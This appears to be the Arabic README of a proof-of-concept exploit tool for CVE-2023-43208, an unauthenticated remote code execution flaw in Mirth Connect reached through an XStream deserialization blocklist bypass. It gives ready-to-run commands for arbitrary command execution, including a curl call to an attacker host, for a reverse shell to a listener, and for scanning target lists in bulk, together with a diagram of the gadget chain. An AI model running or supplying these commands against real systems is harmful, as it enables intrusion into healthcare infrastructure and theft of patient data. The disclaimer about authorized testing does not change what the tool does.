
CVE-2023-43208: إثبات المفهوم لتنفيذ الأوامر عن بعد قبل المصادقة في Mirth Connect
تنفيذ كود عن بعد بدون مصادقة في NextGen Healthcare Mirth Connect < 4.4.1 عبر تجاوز إلغاء تسلسل XStream.
CVSS 9.8 (حرجة) — تجاوز التصحيح لـ CVE-2023-37679
يستخدم Mirth Connect مكتبة Java XStream لإلغاء تسلسل حمولات XML على نقطة النهاية /api/users بدون مصادقة. قدم الإصلاح الأصلي (CVE-2023-37679) قائمة حظر للفئات الخطيرة، ولكن تم تجاوز ذلك باستخدام EventBindingInvocationHandler من Apache Commons Lang3 بالإضافة إلى سلسلة InvokerTransformer من Commons Collections4.
تم الإصلاح في Mirth Connect 4.4.1 بالتحول من قائمة الحظر إلى قائمة السماح.
pip install requests
Python 3.10+ (يستخدم جمل match).
python3 exploit.py check -t https://target:8443
python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"
# Terminal 1 (أو دع السكريبت يدير المستمع):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
# لتجربة شل أفضل، استخدم rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444
python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30
POST /api/users (بدون مصادقة)
│
▼
XStream يلغي تسلسل حمولة XML
│
▼
sorted-set يطلق Comparable.compareTo()
│
▼
dynamic-proxy → EventBindingInvocationHandler (يتجاوز قائمة الحظر)
│
▼
ChainedTransformer.transform()
│
▼
ConstantTransformer(Runtime.class)
→ InvokerTransformer("getRuntime")
→ InvokerTransformer("invoke")
→ InvokerTransformer("exec", <command>)
│
▼
تنفيذ أمر نظام التشغيل كمستخدم خدمة Mirth Connect
هذه الأداة مقدمة لأغراض اختبار الأمن المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على التصريح المناسب قبل الاختبار.